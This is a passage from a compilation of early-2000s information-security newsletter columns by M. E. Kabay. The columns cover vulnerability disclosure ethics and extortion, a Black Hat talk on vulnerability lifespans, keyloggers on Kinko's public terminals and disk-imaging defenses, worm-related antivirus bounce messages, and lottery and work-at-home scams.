queue, thus reducing administrator overhead. The same scheduling feature is useful for granting and terminating access to specific accounts by temporary employees.

The product also has several built-in audits which allow administrators to query the network for common security vulnerabilities such as unused accounts, and to perform corrective actions such as removing or locking an account. All the audits allow the administrator to generate a report which can be used by auditors or by management.

These pre-defined audits have even been used to identify hackers who were using privileged accounts in the customer network after hours. Audits can also be scheduled to run unattended with the results e-mailed to the administrator.

PassGuard currently controls only Windows-based operating systems, but versions for others, such as Solaris, HP-UX and Novell, are being developed. A version is also on the drawing board that will support other platforms such as networking devices.

For more information about this project, see < http://www.cyberwatchinc.com/products.htm >.

Pressure or Extortion?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Some years ago, I was having a chat with a student and we started talking about people who release details of vulnerabilities to pressure software firms for rapid fixes to problems. The student felt that releasing details of security vulnerabilities was a good way of forcing companies to pay attention to weaknesses. He told me that in his company, where he is a security administrator, he and his colleagues told a major vendor about what they considered a serious vulnerability in a firewall. Months went by without action. Finally they lost their patience and posted full details of the vulnerability in an appropriate USENET group – and the problem was fixed within days.

I said this smacked of extortion and told him about various times when computer security specialists had actually gone further than merely posting information but actually demanded payment NOT to do so. For example, in the RISKS DIGEST 20.82, a correspondent wrote about a case of quality assurance failure in the Paris subway system. Peter Wayner <pcw@flyzone.com> wrote:

> "The *Times* (London) reported on 26 Feb 2000 that Serge Humpich, a hacker, was convicted of fraud and given a suspended sentence. The young man discovered how to trick the Carte Bleue system and claimed he could have gone on an unlimited spending spree. Instead he hired lawyers and negotiated with the company that runs the system for payment in return for detailing the problems. The company turned around and prosecuted him for fraud after they arranged for him to demonstrate the system. What a brilliant way to discourage folks from rooting around in a system _and_ reporting security flaws! I wouldn't be surprised if their system proves to be so impervious that the number of bug reports drop to zero. What a wonderful solution for creating bugfree code!"

I can see the author's point: punishing people for pointing out quality assurance flaws is hardly going to encourage wide contribution to quality assurance. However, it seems to me that the issue was not the identification of a security flaw; the problem was that M. Humpich tried to get payment for his knowledge of the security flaw he found by withholding that information unless he were paid.

This was not the first case where someone tried to get payment for information about a bug they have discovered. In June of 1997, Christian Orellana, a Danish computer consultant, threatened to release information to the press about a serious security weakness in Netscape Navigator unless he were paid more than the $1,000 prize offered by Netscape to encourage independent quality assurance tests. His message included the words, "I think the person most suited for handling this is somebody in charge of the company checkbook. . . . I'll leave it to you to estimate what impact that would have on Netscape stocks." His actions were almost universally reviled by professional security specialists. Ironically, Netscape already had a program in place to reward volunteers who notified them of bugs. They refused to pay the consultant the $1,000 honorarium he would have received had he not demanded the larger payment.

Now, extortion is defined as "the act or an instance of inducing or attempting to induce someone

to do something by threats, real or false criminal accusations, or violence." It seems to me that the men in both stories above were coming pretty close to extortion.

* * *

In the next column, I'll put the idea of demanding money for information about a security weakness in a wider context.

* * *

Responsible Vulnerability Disclosure

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In a previous column, I pointed out that some people have threatened companies with full disclosure of security flaws unless they were paid money to provide the details of those flaws privately. I wrote that this behavior seemed to me to come pretty close to extortion.

But isn't it normal for someone to charge for access to their knowledge? Why shouldn't someone offer to trade their pointers on a vulnerability in exchange for money? Isn't that what consultants and employees do all the time? After all, when a security specialist is working for an employer or for a client, how is getting paid for their penetration testing or advice on quality assurance or recommendations on security policy any different from offering to tell a firm about a security vulnerability in return for a fee?

One way of thinking about the difference is to think about ordinary life. Haven't we all pulled up next to a car and notified the driver that their brake lights don't work? Would you refuse to tell the driver about their brake lights unless they paid you a fee? How would you feel if someone said, "If you give me <a large amount of money> I'll tell you about a dangerous problem with the safety system of your car." Would you perceive the offer as a legitimate invitation to engage in a commercial transaction? I wouldn't. I make it a personal hobby to spot cars with all their brake lights out and to tell the drivers about it as soon as it is safe to do so. I figure that my Goody Two-Shoes hobby may have saved a few lives in my thirty years of driving.

There are many faithful contributors to RISKS, BUGTRAQ and other lists who routinely warn software companies about problems at no cost. I personally know many security experts who have warned companies about threats and vulnerabilities without expecting monetary reward; indeed, many people speak at conferences for no pay at all to share their knowledge and experience freely with colleagues. Thousands of individual professionals, scholars, non-profit organizations and companies and government agencies contribute countless pages of useful information on the Web at no cost to the recipient.

The warnings are often carefully structured so that enough information is provided to help identify the vulnerability but not enough to let the clueless wannabees launch attacks using precise scripts.

These folks are doing the cyberspace equivalent of giving blood. I am sorry that there are people whose economic circumstances make it reasonable to sell their blood, but that doesn't change my admiration for those who donate blood freely (I'm into my 8th gallon).

So returning to extortion, I think the issue here is the sense of community. Those of us who feel that we are all in the battle against computer crime together feel the same obligation to help a vendor or a system improve as we do towards other drivers who have burned-out brake lights. I see this spirit of collegiality whenever I'm talking to colleagues who are in one sense direct competition for my employer – yet we feel a camaraderie in trying to fight computer crime and abuse. Rarely have I seen hostility among consultants working for different firms, let alone with that thin line of security professionals in corporations, government departments and other organizations who work day after day to protect the interests of their employers and their

stakeholders.

Unfortunately, some of us feel isolated and excluded from the wider society. Anomic people do not feel the sense of connectedness that makes it feel good and right to share knowledge freely. For people who feel like outsiders -- for example, some of those involved in the criminal hacker subculture -- helping others altruistically may not make emotional sense. For these folks, an argument to consider is that helping others as a professional courtesy is a far better way of forging one's reputation as a trustworthy and helpful resource than trying to extort payment by withholding information.

* * *

In the next and final part of this series, I'll look at practical guidelines for companies and for users on reporting and handling vulnerabilities.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Managing Vulnerability Disclosure

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In a couple of recent columns, I have looked at the practice of trying to get companies to pay money for information about vulnerabilities and the related issue of threatening to publish vulnerabilities unless companies respond according to an imposed timetable.

Corporations have to shoulder their share of the blame for the frustration felt by users who fruitlessly batter at their doors to get a hearing. Yes, corporations do have priorities for using limited resources, but the frustration comes from not being listened to. From experience in technical support, I'd say that the critical elements in gaining the cooperation of users who are experiencing difficulties are

* paying attention to the calls for help or for repairs;

* having a systematic method for tracking all calls and correlating problems so that you know what is causing most of the trouble;

* a system for assigning priorities to specific fixes or repairs;

* reliable, frequent communications with the people who called in the trouble report;

* involving the callers in solving the problem if possible.

The worst thing a company can do is brush off a trouble report; the next worst is to claim that they will resolve the problem when in fact there is no intention to do so. Honesty is essential in all our work, and especially when dealing with clients and with the public at large.

When I was an operating-systems and performance specialist for Hewlett Packard in the early 1980s, it always seemed wonderful to me that HP consistently published a complete list of all the known problems they had registered for their products. The _Systems Status Bulletin_ was published quarterly, with biweekly updates; it was a compendium of all the problems that had been localized in every software product the company made, with patch numbers for those that were fixed, release numbers for patches that had been integrated into installation releases, and workarounds if possible for those problems that were not yet fixed.

I recommend this honest and complete approach to all companies, especially those working with security products.

Finally, users and specialists should understand that using the threat of publishing detailed exploits – or actually publishing them – is a crude, extreme and unprofessional approach to resolving a problem. Instead, try to build pressure using a graded series of actions instead of jumping to threats:
*

* define a timetable for acceptable responses that takes into account the severity of the security hole – don't ask for instant repairs on a minor item;

* contact higher levels of management at the vendor firm to discuss the issue;

* get the cooperation of upper management in your own firms, if appropriate;

* arrange for face-to-face meetings between the top managers of your firm and those of the vendor firm;

* contact your professional colleagues for joint letters pressing for a solution;

* raise the issues in professional forums (USENET, mailing lists, professional association meetings) without giving enough details in public that would allow instant exploits by the black-hat crowd;

* set up a BOF (birds-of-a-feather group) at an upcoming meeting specifically to discuss solutions and workarounds to a longstanding or fundamental design problem;

* look for alternative suppliers – and make sure that you do so openly by telling your supplier you are not satisfied with their product quality or their service;

* contact certifying bodies to withdraw certification of products that remain unrepaired for a long time after notification;

* get your corporate counsel involved to discuss possible legal action for breach of contract if possible;

* publish information about the problem, again without giving away so much detail that you make the problem worse than it already is. The last thing you want is to give some twisted ten-year-old script kiddie (or a twenty-year-old with the same level of moral development as a ten-year-old) a prefabricated attack script.

In summary, I think that a sound approach to preventing extortion in our business involves making it unnecessary. We should establish norms for professional, collaborative responses to reports of vulnerabilities. The other powerful tool we can use is peer pressure: let's establish a consensus about not trying to extort compliance with our own priorities when we run into trouble with software and systems. But in any case, demanding money to avoid publication of a vulnerability is just plain sleazy.

In the world of INFOSEC, we need people who are the equivalent of blood donors, not blood suckers.

Grand Research Challenges Conference

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The Computing Research Association (CRA) needs YOU to contribute nifty ideas for stimulating discussions at the upcoming CRA Conference on Grand Research Challenges in Information Security & Assurance. The conference will take place at Airlie House in Warrenton, VA on November 16-19 2003 and is restricted to 50 participants chosen from those submitting proposals for thought-provoking discussions. The call for papers (CFP) states,

>Threats from criminals, anarchists and extremists, random hackers, and cyberterrorists (among others) continue to grow even as we put more reliance on our computing infrastructure. Yet most of the money, attention, and energy in information security and information assurance has been focused on incremental patches and updates to existing systems rather than on seeking fundamental advances. . . .

Grand Challenges meetings seek "out-of-the-box" thinking to expose some of the exciting, deep challenges yet to be met in computing research. Because of the clear importance and pressing needs in information security and assurance, CRA's second "Grand Research Challenges Conference" will be devoted to defining technical and social challenges in information security and assurance.

We are seeking scientists, educators, business people, futurists, and others who have some vision and understanding of the big challenges (and accompanying advances) that should shape the research agenda in this field over the next few decades. These meetings are not structured as traditional conferences with scheduled presentations, but rather as highly participatory meetings exposing important themes and ideas. As such, this is not a conference for security specialists alone: We seek to convene a diverse group from a variety of fields and at all career stages—we seek insight and vision wherever it may reside.<

In addition, the CFP continues,

>Attendance is limited to 50 people and is by invitation only. If you are interested in attending, please submit a two-page (or less) statement of two or three examples of a "grand research challenge" problem in the IS/IA area . . . by September 17, 2003. The organizing committee will invite prospective attendees based on these submissions. Note that individuals invited must commit to attending for the entire three-day conference (beginning Sunday at 6 pm, ending after lunch on Wednesday.)<

The coordinating committee includes luminaries in the field; for fear of offending any by failing to list everyone involved, I simply point you to the bottom of the Grand Research Challenges home page, where you will find a real Who's Who of contributors to our field.

This is a terrific opportunity for readers with bright ideas and a willingness to participate in no-holds-barred analysis and shared creativity to submit their ideas to the coordinating committee. Based on the quality of the e-mail I receive in response to these columns, I'd say there are many

of you out there who ought to be turning to your keyboards right now and getting your ideas into a submission at once.

Probation? Probably Not.

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In discussions of employee management and security, some key areas of concern are hiring and firing. However, ongoing management also provides challenges to information assurance (IA); for example, how should IA professionals handle proposals to offer an employee a probationary period?

There are two kinds of probationary period:

* a period at the start of employment designed to evaluate a new employee's skills and decide on permanent employment;
* a period following a serious problem, possibly leading to termination of employment if the problem or its equivalent recurs.

Both types of probation raise problems for IA.

In the preliminary probationary period, the candidate's employment is contingent on approval. When assigning access privileges to such a candidate, security staff should evaluate managers' natural desire for productivity but weigh the benefits of thoroughgoing access against the possibility that the employee will soon disappear.

As for probation for the error-prone or the lazy, I can accept the idea of a probationary period for employees who may be making too many mistakes or who need a kick in the pants to be motivated for better performance. However, a probationary period for an employee who has given cause to worry about security violations is far more problematic.

When would it make sense to allow an employee who violates clearly stated security policies to be put on probation? There's certainly nothing wrong with correcting someone's behavior using advice, criticism or even reprimands if appropriate. What doesn't make sense to me, though, is telling someone who has committed such a serious violation of security that they could be fired, "Well, we won't fire you right now: we'll give you <period> and fire you at the end of that <period> if we don't like your behavior."

If someone is not worthy of trust, why would you give them access to sensitive and critical resources at all, let alone do so while putting them on notice that they may lose their job soon?

I recommend that probation for employees you don't trust simply not be an option. Either express your support and trust in your employees or fire them right away if they no longer merit your confidence in their honesty.

Dave Piscitello's BLOG

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently received some digests from Dave Piscitello's BLOG and visited his site at < http://hhi.corecom.com/weblogindex.htm >. Piscitello ("Dave" from this point on) is a highly respected computer scientist working at Core Competence < http://www.corecom.com/index.html >. Dave is the President of the company; his bio tells us, "Dave has been involved in internetworking technology for over 25 years. Prior to founding Core Competence, Inc., David won a Bellcore President's Recognition Award for his contributions to SMDS, ATM and customer network management for switched data services. Dave has authored books on internetworking and remote access, and publishes articles regularly on a variety of subjects, including switched internetworking, ATM and Gigabit Ethernet, Internet security, and virtual private networking. He is also chairman of Networld+Interop and TISC Program Committees."

I am delighted to report that Dave has put together a valuable and entertaining site that readers will much appreciate, not only for its pointers to interesting articles and Dave's intelligent commentary but especially for his off-the-wall humor.

His home page has selections that may appear in other sections. In his commentary on one article, Dave writes, "The term deep packet inspection firewall has a Star Ship Enterprise connotation. It suggests that this radically new security system goes where no firewall has never gone before, into the brave new world of application headers and data. . . ." He adds ironically, "Deep. Deeper. Deepest! Oooooh, it must be better" and " '...let us not go to Camelot...it is a silly place...' Monty Python and the Holy Grail."

In the following report, remember that the descriptions apply to what I saw when I visited; contents change several times a week.

The _Anecdotes_ section has some interesting "RISKS FORUM DIGEST"-like entries and also some goofy stuff that's just fun.

Articles is a page of links to Dave's recent articles; for example, there were some fundamentals papers on TCP, a link to "The Sad and Increasingly Deplorable State of Internet Security, a BCR Article," and "Blocking Public Instant Messaging," among others.

Books had a link to "Foreword to Network Analysis, Architecture, and Design" Dave wrote for "the 2nd Edition of Jim McCabe's book, Network Analysis, Architecture, and Design."

Firewalls started with an interesting entry from July 12, 2003: "Design Rule #1: When you pretend to sell a firewall, ensure that it blocks traffic which it is not able to inspect. . . . If there ever were a definitive list of firewall design rules, you'd have to conclude that if this isn't design rule number one, it's got to be in the top five." Dave always provides attribution for anything he quotes or posts from other people.

Hacking had a entry on SNP-based attacks and another on developing and publishing outlandish attack methodologies. The latter ends with, “Go review some code. Find a buffer overflow. Be useful, not clever.”

Personal had an interesting comment about free speech for corporations and a criticism of the widespread, abusive practice of claiming that every corporation is “the industry leader” in whatever they do.

Rant is a selection of recent critical commentary on news items; for example, when I visited there was an interesting analysis of Microsoft’s claim to be providing free downloads of eBooks. Turns out the Microsoft site provides many links to eBooks that are readily available elsewhere.

I’ll stop at this point to let readers explore the rest of the site. There’s plenty more: sections on Recent Decent Reading, Security, Speaking, Useful URLs, VPNs, Viruses and Worms, WLANs, Web Security and “Window$.”

Good work, Dave!

Law of Vulnerabilities

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

My friend and colleague Jim Reavis contributes the following report on his recent visit to the Black Hat Briefings. Everything below is entirely Jim's work:

* * *

The Black Hat Briefings in Las Vegas is one of those security conferences where the piercings and tattoos coexist freely with the suits. This coexistence does not imply unanimity, and this was evident at the most lively session I attended, entitled the Law of Vulnerabilities. However, the contentious debate over software bugs was very educational in illuminating the differences of opinion over software quality and the responsibilities of those who build it.

The Law of Vulnerabilities is the result of a research project conducted by Qualys, a provider of managed vulnerability assessment solutions. It is an attempt to identify statistically significant patterns in real world security vulnerabilities and their corresponding exploits. In theory, identifying these trends can help us understand the window of exposure that is created by vulnerabilities and quantify the associated risk encumbered by our computer networks. The data used for this study came from vulnerability scans conducted by Qualys and was presented by their CTO, Gerhard Eschelbeck. The findings were mined from 1.5 million scans, 1.2 million critical vulnerabilities and 2,041 unique vulnerabilities. Among the "laws" pertaining to vulnerabilities extrapolated from this data were their half-life and lifespan, as well as the availability of exploits. According to Eschelbeck, the half-life of a critical vulnerability is 30 days, meaning that from the time a major bug is announced, it takes a month for half of the systems with that vulnerability to get patched. Another finding stated that when a vulnerability is released, exploits are "in the wild" within 60 days of the release date. In terms of prevalence, 50% of the most popular vulnerabilities change on an annual basis, and some vulnerabilities have been shown to have an unlimited lifespan at this point.

Are these laws immutable? Probably not. Caleb Sima, CTO of SPI Dynamics, an application security software company, attended the session and found the findings interesting. However, the scope of the research probably skewed the results. *"This is a fairly small set of vulnerability scan data and by limiting the data to Qualys customers you have a bias in favor of security conscious organizations. My feeling is that a larger and more randomized set of data would show that the real situation is even worse. Most companies will patch vulnerabilities more slowly, increasing the vulnerability half-life"*, said Sima, adding, *"We also don't know the breakdown between internal and external IP addresses scanned, which is important because most people have a different standard for how quickly they fix problems. I would also like to see how the results compare between large enterprises and small companies, as well as a breakdown between different system types."* I have to agree with these points, but I like the concept of these laws. While I am certain that more research would change the findings, I hope that this work continues and we get a better idea of what a vulnerability half-life really is.

One thing the session proved was that it is much easier to present research than it is to act upon it. A panel discussion of the findings by security experts was highly contentious. A hacker named Simple Nomad used some colorful language to place the blame for software vulnerabilities squarely upon the software companies themselves. To paraphrase Mr. Nomad, the profit motive causes software companies to continually release software with the qualities of excrement – wrapped in an attractive package to conceal its poor quality. At one point Mr. Nomad mocked Oracle's "unbreakable" marketing claim after their Chief Security Officer Mary Ann Davidson explained how security is built into Oracle's software release process. Sima said, *"The problem with these hackers is that they are only looking at this from a technical perspective and they tend not to have experience in the business of releasing software. You will never make perfect software - even if you could, you would still have vulnerabilities introduced during installation and configuration. I was impressed by Davidson's explanation of Oracle's QA procedures and I think Microsoft has done a decent job at improving the security of their code since they announced the Trustworthy Computing Initiative. It's a huge job."*

Maybe that is a cultural shift that needs to take place in the security industry. A software vulnerability is not the byproduct of evil software executives, but is in fact a difficult technical and educational problem. I'll give the last word to Davidson, who got stunned silence with the following call to the hackers in the audience, *"Take the energy you have for developing exploits for software and put your creative energies into creating better capabilities for automating secure software development."* Now that's a law I would like to see.

Public Workstations Compromised

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Lisa Napoli recently wrote an interesting summary of a computer crime involving public workstations that were compromised using keystroke loggers.

Apparently a computer criminal named Juju Jiang installed keystroke-logging software (Invisible KeyLogger Stealth) on public "Internet terminals at 13 Kinko's copy shops in Manhattan" and used user IDs and passwords collected from unknowing users of those terminals to break into their computers and their Internet-related accounts for nefarious purposes. After he was arrested in December and confessed to his crimes, he was released on bail and immediately continued his criminal activity. He pleaded guilty in July "to five counts of computer fraud and software piracy" and is awaiting sentencing.

The problem of unauthorized software on public terminals is as old as remote access. One of the first pranks / crimes perpetrated on mainframe systems when remote access was enabled in the 1960s was the classic keystroke-logging logon Trojan. A criminal hacker would write (or just run) a simple program that simulated the logoff message and the initial dialogue of a logon; the victim, thinking that (s)he was interacting with the operating system, would dutifully enter user ID and password, only to be informed that there had been a problem. Entering the user ID and password again would log the user on uneventfully. Alert users noticed that a logoff message flashed briefly on screen before being erased; this clue led to the discovery that in fact the initial logon had been recorded by the Trojan in a disk file that could be retrieved by the malefactor later.

The Invisible KeyLogger Stealth for Windows 2000/XP is a particularly powerful tool for capturing keystrokes; its description includes this chilling passage: "In addition to a flexible and friendly keystroke log viewer, IKS is extremely configurable. We provide an easy-to-use install utility. You can rename the program file, and specify the name and the path of the log file. You only need to copy one file onto the target computer for the logging to take place. There is almost no way for the program to be discovered once the program file and the log file are renamed by the install utility. An exhaustive hard drive search won't turn up anything. And the running process won't show up anywhere."

You can understand why the Kinko's administrators did not notice the keylogger.

In my next column, I'll look at how one can protect public workstations to reduce the damage caused by unauthorized access and unauthorized software.

Protecting Public Workstations

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In my last column, I looked at how the Kinko's public Internet workstations were compromised by Juju Jiang using a keystroke logger program left running on those systems. I referred to an article about that criminal's activities by Lisa Napoli. What particularly interested me was Napoli's statement, "Making the public aware of the vulnerability of shared Internet access terminals is one thing. Remedying this vulnerability is quite another." She followed this surprising assertion with a quotation from an FBI agent who said, "I don't know how you manage the risk. . . ."

Well, university network administrators do.

In universities and other schools around the world, students have access to computers linked to the campus networks; how are these systems protected against tampering such as installation of unauthorized software – including keyloggers? Well, in the first place, systems with access controls are configured to preclude access with administrator privileges. But everyone knows that user ID / password combinations are a dreadfully weak method for preventing unauthorized access. Passwords can be compromised by shoulder-surfing, because they're written down, or using brute-force cracking of poorly-secured one-way encrypted password files. But there is a simple method for reducing potential damage: clone the workstations disks every night. That is, the disk of each PC on the network is rewritten with a fresh, uncontaminated copy of the entire contents of the drive.

There are several products available which can automatically deploy the authorized disk image to hundreds or thousands of workstations provided you have adequate server speeds and network bandwidth. There's a helpful review of several of these tools written by Cornell W. Robinson III in _Network Computing_ which I've referenced below; I have provided the specific URLs to help readers avoid having to search through the general sites given in that article. In addition, the references below point to the Frisbee project of the School of Computing at University of Utah. I also found a summary on the Microsoft site called "Automating and Customizing Installations: Choosing a Disk-Imaging Program" that provides a checklist for Windows Server 2003 and Windows XP Professional users.

Any of the products listed would reduce (not eliminate) the window of exposure on public terminals. So as users, all of us should be careful about what we reveal on such terminals. And don't use the same password on multiple commercial sites on the Internet – you don't want compromise of one of those passwords to open up every account you use.

Finally, readers should note that the imaging software supports not only preservation of data integrity and trustworthiness but also provides a speedy mechanism for restoring functionality of a damaged system: restore the disk image of the operating-system drive and you don't have to reinstall the software. These tools support the principle of a known-good copy of the operating system: take an image immediately after installing the operating system and before using – and potentially damaging – it. Then before installing new software (applications, drivers. . . .) you

can restore the original image, do your installation, and take a new image (properly documented) for the next time you need to start from a clean environment.

Worm Chatter

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As everyone probably knows first hand by now, we've all been suffering through a particularly bad period of worm infestation on the 'Net lately. Variants of the SoBig and Blaster (aka LovSan) worms (often called "viruses" in press reports) caused major hang-ups world wide. I want to focus today on the SoBig worm and other electronic thugs that use a victim's e-mail address book to send out lots of e-mail messages. Many of the worms use their own SMTP interface, bypassing the victim's e-mail client program and thus leaving no obvious trace (e.g., "SENT" messages) that the user can spot early on in the infection. Worse still, modern worms often use the victim's address book not only for targets (destination addresses) but also to forge SMTP headers using spoofed origination addresses. That is, the worms are written to make it appear that their infected traffic comes from someone whose address has been picked up from another victim's address book.

Some antivirus programs respond to infected e-mail messages by sending a notice to the originator of the infected message. For example, you may have received message like these:

```
>
From: postmster@somwhere.com
Sent: Thursday, September 04, 2003 22:30
To: mkabay@norwich.edu
Subject: Virus Detected by Network Associates, Inc. Webshield SMTP V4.5 MR1a

Network Associates WebShield SMTP V4.5 MR1a on mimesweeper detected virus
W32/Sobig.f@MM in attachment document_all.pif from <mkabay@norwich.edu> and it
was Cleaned and
Quarantined.
<
```

At one time, such messages were helpful to the victims of worm and virus infections because
(a) many victims lacked antivirus products;
(b) the infected e-mail actually came from the indicated sender.

Unfortunately, although (a) may be true, (b) is almost certainly false. The chances that an infected message is coming from the indicated FROM address are small – they are 1/N where N is the total number of addresses in the e-mail address book of the actual victim (assuming that the victim's own e-mail address is included in their list). So the chance that the automatic notification will go to a wrong address in a single infection is (N-1)/N. If a victim has 1,000 addresses in his or her address book then the probability that replying to an infected message will reach the wrong person is 99.9% for a single incident. What was once a courteous and helpful practice has now become an annoying contribution to the wasteful traffic generated by the worm, potentially doubling the number of spurious messages (for every one from the worm, one from the antivirus). I recommend that system administrators now disable the automatic notification to the supposed origin of infected messages. It's just not working any more.

It's time to cut the worm chatter.

Spanish-Bull Fight

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The e-mail message announced breathlessly that I had won a lottery in Spain called "El Gordo" (The Fat One). "Mrs Esther Lodwig," the "Promotions Director" of "Global Stakes Lottery International" wrote, "We are pleased to inform you of the release, of the long awaited results of the EL GORDO SPANISH GLOBALSTAKE LOTTERY/INTERNATIONAL PROMOTIONS PROGRAMES held on the 18th Jun 2003. You were entered as dependent clients with reference Number: IPL/096685769WP1, and batch number GL/678753-PCQ03. Your name attached to the ticket number: 6453 drew a lucky winning number, which consequently won the sweep take in the second category, in four parts.

You have therefore been approved for a payment of €2,500,000 (TWO MILLION, FIVE HUNDRED THOUSAND EUROS) in cash credited to file reference number: IPL/096685769/WP1. This is from a total cash prize of €10,756.820 (TEN MILLION SEVEN HUNDRED AND FIFTY SIX THOUSAND, EIGHT HUNDRED AND TWENTY EUROS) Shared among the international winners in all categories, congratulations!!!" The letter went on to explain that I should call a phone number in the Netherlands (odd, that, no?) to claim my prize.

Now it happens that I have never bought a lottery ticket in my life; I've contributed to charitable lotteries by contributing the price of the ticket but refusing to take it (just one of those weird habits of mine). All my friends know this about me, so it wouldn't make sense for anyone to enter me into a lottery. In addition, it's illegal for a US resident to participate in a foreign lottery; 18 USC §1301 states in that annoyingly complete way that laws are written (take a deep breath), "Whoever brings into the United States for the purpose of disposing of the same, or knowingly deposits with any express company or other common carrier for carriage, or carries in interstate or foreign commerce any paper, certificate, or instrument purporting to be or to represent a ticket, chance, share, or interest in or dependent upon the event of a lottery, gift enterprise, or similar scheme, offering prizes dependent in whole or in part upon lot or chance, or any advertisement of, or list of the prizes drawn or awarded by means of, any such lottery, gift enterprise, or similar scheme; or, being engaged in the business of procuring for a person in 1 State such a ticket, chance, share, or interest in a lottery, gift, enterprise or similar scheme conducted by another State (unless that business is permitted under an agreement between the States in question or appropriate authorities of those States), knowingly transmits in interstate or foreign commerce information to be used for the purpose of procuring such a ticket, chance, share, or interest; or knowingly takes or receives any such paper, certificate, instrument, advertisement, or list so brought, deposited, or transported, shall be fined under this title or imprisoned not more than two years, or both." Whew! So in the USA, even if you did win a foreign lottery, it would be illegal to collect on it.

A quick bit of investigation on GOOGLE revealed that this scam has been circulating for about a year. I've listed a number of good resources about it in the links section below, but the essentials are as follows:

* Criminals (most of them outside Spain) are circulating bogus claims all over the world that (presumably many) potential victims have won lots of money in the Spanish El Gordo (sometimes misspelled "El Godo") state lottery.

* If the victim does call the phone numbers listed in the e-mail or postal mail messages, they are invariably told that they have to supply a tiny fraction of their "winnings" as a tax (or for some other bogus fee).

* Anyone who actually falls for the ploy and sends money is asked for yet more and then more and more until they wise up; some victims have sent many thousands of dollars.

* Some poor souls have supplied the criminals with details of their bank account and other private information, allowing their names to be used in identity-theft schemes.

So OLÉ! Let's fight this, ah, Spanish bull by posting a note in the corporate newsletter (remember, you're always welcome to use these articles verbatim without having to ask for permission provided you indicate the source and include a link to the Network World Fusion archive site).

Acidic Commentary

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Don't you get irritated at the constant flow of fraudulent e-mail offers telling you how to become a millionaire by, say, grooming poodles, sending e-mail to strangers, putting your name at the top of a list and other nonsensical non-work? Well, Pavel Gavrilenko of Minsk in Belarus has done a bang-up job of proving excellent debunking information on all those "make-money-at-home" scams.

The Website < http://www.acidics.com > is entitled, "Make Money Online Scams and Hoaxes" and shatters prospective net-millionaires' illusions right from the first page: "…Make-money-online programs are a great SCAM…." and inviting you to look further:

>Reading a bit through the articles will save you time and money that you would otherwise waste on those filthy worthless make money online schemes.

- GPT Scams - learn why "get paid to surf, read email, do surveys etc." schemes are worthless
- MLM scams - realize that nobody makes money with pyramid schemes except their owners
- Work at home - just don't hope to "make money typing, stuffing envelopes etc."<

The site has a wealth of material on the wide range of tricks used by criminals to defraud gullible people into sending them money for worthless schemes. I particularly liked the simple, clear design of the site, with convenient links for previous/next article as well as index links to jump to specific areas of interest. The author, calling himself "Acid Paul," writes in a natural, simple style with considerable sarcasm to leaven what could otherwise be fairly dull debunking information.

The site also has a forum where people post their own queries and comments about specific schemes they have encountered – a useful adjunct for anyone looking for details.

This is a site that network managers can use when preparing notes for the security column or security newsletter to help bring security to employees at a personal level. It's always good to provide information that can protect people and their families at home as well as at work.

Congratulations to Mr Gavrilenko on a significant and entertaining contribution to the resources for fighting fraud.

INFOSEC UPDATE

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In 1994, I was asked by the Institute for Government Informatics Professionals of the Government of Canada to create a follow-up for the information security (INFOSEC) course I taught under the aegis of the University of Ottawa at the Institute. Students were interested in learning about developments across the field of INFOSEC since they had graduated.

So began the series of two-day workshops that I have been giving for a decade called INFOSEC UPDATE. These short courses are intended for security specialists such as CISSPs wishing to remain current on developments in information technology security and in general for any information technology personnel interested in security. We review major developments across the entire field of information security, including

* computer crime cases and trends, including information warfare issues;

* developments in law enforcement technology;

* emerging vulnerabilities (e.g., the course warned of the dangers of MS macro viruses and the threat from denial of service attacks long before they hit the headlines);

* management and corporate policy issues (e.g., we discussed spam and cybersquatting in the mid-1990s as the problems were blips on the horizon and emphasized privacy issues before the topic became popular);

* cyberlaw, e-commerce and cryptography (e.g., the course provided early warnings about developments in intellectual property law, public-key infrastructure and changes in cryptography exports).

The course is based on my long-running INFOSEC Year in Review project, in which I organize information about information security into a coherent structure so that I can find examples easily for my courses and writing. On the other hand, organizing stuff may also be a sign of a personality flaw; one of my colleagues laughingly pointed out that I sort my CDs by year within artists, DVDs alphabetically by title (except series) and the bills in my wallet by face value. What, other people don't do that? Anyway, the workbooks produced from my database of security news for each year since 1994 are available as PDF files at < http://www.mekabay.com/iyir/index.htm >; take a look at the latest ones to get a sense of the kind of material we discuss. The complete taxonomy of topics is available separately at < http://www.mekabay.com/iyir/Codes.pdf >.

These workshops are enormous fun for me and, I'm told, for the participants. It's a free-wheeling discussion of hundreds of cases (the workbooks are typically from 250-400 pages long depending on how tiny the print is) and I emphasize lessons for the participants' real-world

working environments. Much of the value of these sessions comes from lively discussion among the participants. It's an intense experience – a bit like total immersion in INFOSEC for eight hours a day over two days.

The next INFOSEC UPDATE workshops will be in Montréal, Québec, Canada in November. There's an English session on Monday and Tuesday the 24th and 25th of November and a French session on the 27th and 28th. Both will be held at the Dorval Airport Hilton, which is about two minutes from the Montréal International Airport terminal and has always been a lovely hotel for these sessions (members of the Montréal Regional HP Users' Group will remember that we had our quarterly meetings there). The airport is only 20 minutes away from downtown Montréal for those who'd like to visit that beautiful city after the course sessions.

For complete information, including course fliers and registration, please visit the Web site at < http://www.dmcyul.com >.

I hope to see you in Montréal!

INFOSEC UPDATE in Montréal 24-25 November 2004 – see < http://www.dmcyul.com >.

